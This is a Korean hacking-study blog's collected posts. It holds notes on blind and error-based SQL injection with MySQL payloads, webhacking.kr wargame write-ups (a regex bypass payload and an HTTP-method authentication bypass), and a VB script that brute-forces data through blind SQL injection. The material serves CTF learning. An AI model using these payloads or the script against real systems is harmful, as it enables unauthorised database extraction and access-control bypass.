Blind SQL Injection

Web/공부 2014. 10. 31. 21:06
반응형

사용될 때

- 쿼리구문의 취약점이 발견되었고 union select의 사용이 막히면 데이터 추출을 위해 사용된다.


효율

- 시간이 오래 걸리지만 데이터 추출을 정확하다.


Ex)

Select id,pw from member where id='admin' and if((select ascii(substr(id,1,1)) from member)=20,true, false)


ascii는 ord나 char로 대체가능

substr은 right(left(id,1),1)로 대체가능

'Web > 공부' 카테고리의 다른 글

parse_url($_SERVER[REQUEST_URI]) [ php bug #55511]  (0) 2016.05.02
Error Based SQL Injection  (0) 2014.10.31
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

사용될때

- 어떤 DB에러가 발생하는지 보여지면 사용된다. 한정된 상황에서 쓰임(SQL에러가 보일때 만)


효율

- Blind Sql Injection보다 더 효율적으로 사용된다.


Ex)


select * from (select name_const(version(),1),name_const(version(),1))a

select * from table where 1=1 and ExtractValue(1,concat(0x01,version()))

select * from table where 1=1 and UpdateXML(1,concat(0x01,version()),1)

select * from table where (@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)

'Web > 공부' 카테고리의 다른 글

parse_url($_SERVER[REQUEST_URI]) [ php bug #55511]  (0) 2016.05.02
Blind SQL Injection  (0) 2014.10.31
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

javascript 문제입니다.

먼저 소스코드를 보면


위와 같습니다. <script>와 eval(wtf) 사이의 값을 크롬에 있는 Console쪽에서 실행시키시면


이런식으로 스크립트가 나옵니다. 이걸 그대로 복사해서 html로 만든다음 

살짝 조작해주시면 값이 나옵니다.

그걸 Auth에 넣어주시면 클리어!

'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] QR CODE PUZZLE (300p)  (0) 2016.04.27
[Wargame.kr] already got (200p)  (0) 2016.04.27
[Webhacking.kr]11번 문제  (0) 2014.10.30
[Webhacking.kr]10번 문제  (0) 2014.10.30
[Webhacking.kr]9번 문제  (0) 2014.10.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

이 문제는 php 정규식(regex) 문제입니다.


문제의 페이지에 들어가시면


$pat="/[1-3][a-f]{5}_.*아이피.*\tp\ta\ts\ts/";

if(preg_match($pat,$_GET[val])) { echo("Password is ????"); }


이런식으로 되어 있을 겁니다.


php 정규식에 따르면


/ 는 정규식의 시작과 끝을 알려줌

[] 는 대괄호 안의 문자나 숫자중 한개를 추출하는 것

{}는 앞의 문자나 숫자가 몇번 반복할지 정해주는 것

* 는 앞의 문자가 한개이상 올 수 있다는 것


라는데요..

뒤에는 \t가 있네요 이건 탭(tab)을 뜻하는 거고, 아스키코드로 9입니다


위에 따라서 하시면 페이로드는 아래와 같습니다.


1aaaaa_아이피%09p%09a%09s%09s


'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] already got (200p)  (0) 2016.04.27
[Webhacking.kr]12번 문제  (0) 2014.10.30
[Webhacking.kr]10번 문제  (0) 2014.10.30
[Webhacking.kr]9번 문제  (0) 2014.10.30
[Webhacking.kr]8번 문제  (0) 2014.10.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

아래 사진은 해당 문제의 웹페이지 화면입니다.



여기서 소스를 보도록 하겠습니다.


<html>
<head>
<title>Challenge 10</title>
</head>
<body>
<hr style=height:100;background:brown;>
<table border=0 width=900 style=background:gray>
<tr><td>
<a style="position:relative;left:0;top:0" onclick="this.style.posLeft+=1;if(this.style.posLeft==800)this.href='?go='+this.style.posLeft" onmouseover=this.innerHTML='yOu' onmouseout=this.innerHTML='O'>O</a><br>
<font style="position:relative;left:800;top:0" color=gold>|<br>|<br>|<br>|<br>buy lotto</font>
</td></tr>
</table>
<hr style=height:100;background:brown;>
</body>
</html>


저 O를 클릭하면 오른쪽으로 1씩 움직이네요 그렇다면

F12을 누르셔서 O의 위치를 799까지 조작하신다음 클릭한번 해주시면 성공!

(크롬은 안되니까 IE를 쓰세요)


'Write up > Wargame' 카테고리의 다른 글

[Webhacking.kr]12번 문제  (0) 2014.10.30
[Webhacking.kr]11번 문제  (0) 2014.10.30
[Webhacking.kr]9번 문제  (0) 2014.10.30
[Webhacking.kr]8번 문제  (0) 2014.10.30
[Webhacking.kr]7번 문제  (0) 2014.10.05
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

9번을 풀기위해 문제를 눌러보니

아래 사진과 같이 인증을 해야하네요.


여기서 먼저 알아둬야하는게 있는데요,

먼저 웹페이지의 전송 방법(method)는 여러개가 있습니다.

가장많이 쓰이는게 GET과 POST죠. 일반적으로는 이렇게만 쓰이지만

다른 메소드로는 HEAD,PUTS,OPTIONS,TRACE 등이 있습니다.


저 인증을 우회하려면 apache의 인증 페이지 설정법에서

메소드를 선택해 그 메소드인 경우에 인증창을 띄우는 방법이 있습니다.

그렇다면 우리가 저 인증 페이지를 우회하기 위해서는 메소드를 get나 post대신 puts나 options등을 헤더로 조작해서 보내버리면 인증이 우회됩니다.


아래의 사진은 인증을 우회한 사진입니다.


저기서 3번링크에 힌트가 있는데요.

length = 11

column = id,no

이렇게 있네요. 그렇다면 딱봐도 sql 인젝션 문제네요.

no은 주소창에 num을 통해서 인젝션되니 blind sql injection으로 문제를 풀어보면 되겠네요.


페이로드는 프로그램화 시켰습니다.

- VB


Dim i, k As Integer


        For i = 1 To 50

            For k = 65 To 122

                winhttp.Open("PUTS", "http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id," & i & ",1)in(0x" & Hex(k) & "),3,4)")

                winhttp.SetRequestHeader("Cookie", "PHPSESSID=jhlj5u0gvbec5lb35ovftoret1")

                winhttp.SetRequestHeader("Content-Type", "text/html")

                winhttp.Send()


                Label1.Text = i & " : " & Chr(k)


                TextBox1.Text = winhttp.ResponseText


                If (InStr(winhttp.ResponseText, "hint")) Then

                    ListBox1.Items.Add(Chr(k))

                    k = 122

                End If

                Application.DoEvents()

            Next k

            Application.DoEvents()

        Next i


아마 답이 대문자로 나올텐데 소문자로 pw란에 입력하시면 클리어!

'Write up > Wargame' 카테고리의 다른 글

[Webhacking.kr]11번 문제  (0) 2014.10.30
[Webhacking.kr]10번 문제  (0) 2014.10.30
[Webhacking.kr]8번 문제  (0) 2014.10.30
[Webhacking.kr]7번 문제  (0) 2014.10.05
[Webhacking.kr]6번 풀이  (0) 2014.10.05
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

Class : 객체, 생성자와 소멸자가 있다, private,public 등으로 접근을 제한할 수 있다.


-사용방법


Class 클래스명{

private:

~~~

public:

~~~

};

int main()

{

클래스명 neko;

return 0;

}


namespace : 네임스페이스안의 함수나 변수를 불러올때마다 번거로우니 사용된다.


-사용방법


namespace plus

{

int a;

}

int main()

{

using namespace plus;


cout << "a : " << a << endl;

return 0;

}

'공부' 카테고리의 다른 글

MIPS 명령어  (0) 2014.11.21
새로 알게 된것  (0) 2014.11.02
RTL(Return To Libc)  (0) 2014.11.02
스택 구조와 sfp 그리고 ret  (0) 2014.11.01
FD(File Descriptor) 정리  (0) 2014.10.05
블로그 이미지

KuroNeko_

KuroNeko

,

Client Socket

자료 2014. 10. 30. 20:27
반응형

이것 역시 단방향입니다. Server에서 받아들이는 것 밖에 안되요

Socket Client.zip


'자료' 카테고리의 다른 글

[C++] PE Viewer 미완  (0) 2015.07.05
MIPS Assemble  (0) 2014.11.23
Server Socket  (0) 2014.10.30
로마 숫자 변환기  (0) 2014.10.30
4자리 Brute Forcing(무차별 대입공격)  (2) 2014.10.30
블로그 이미지

KuroNeko_

KuroNeko

,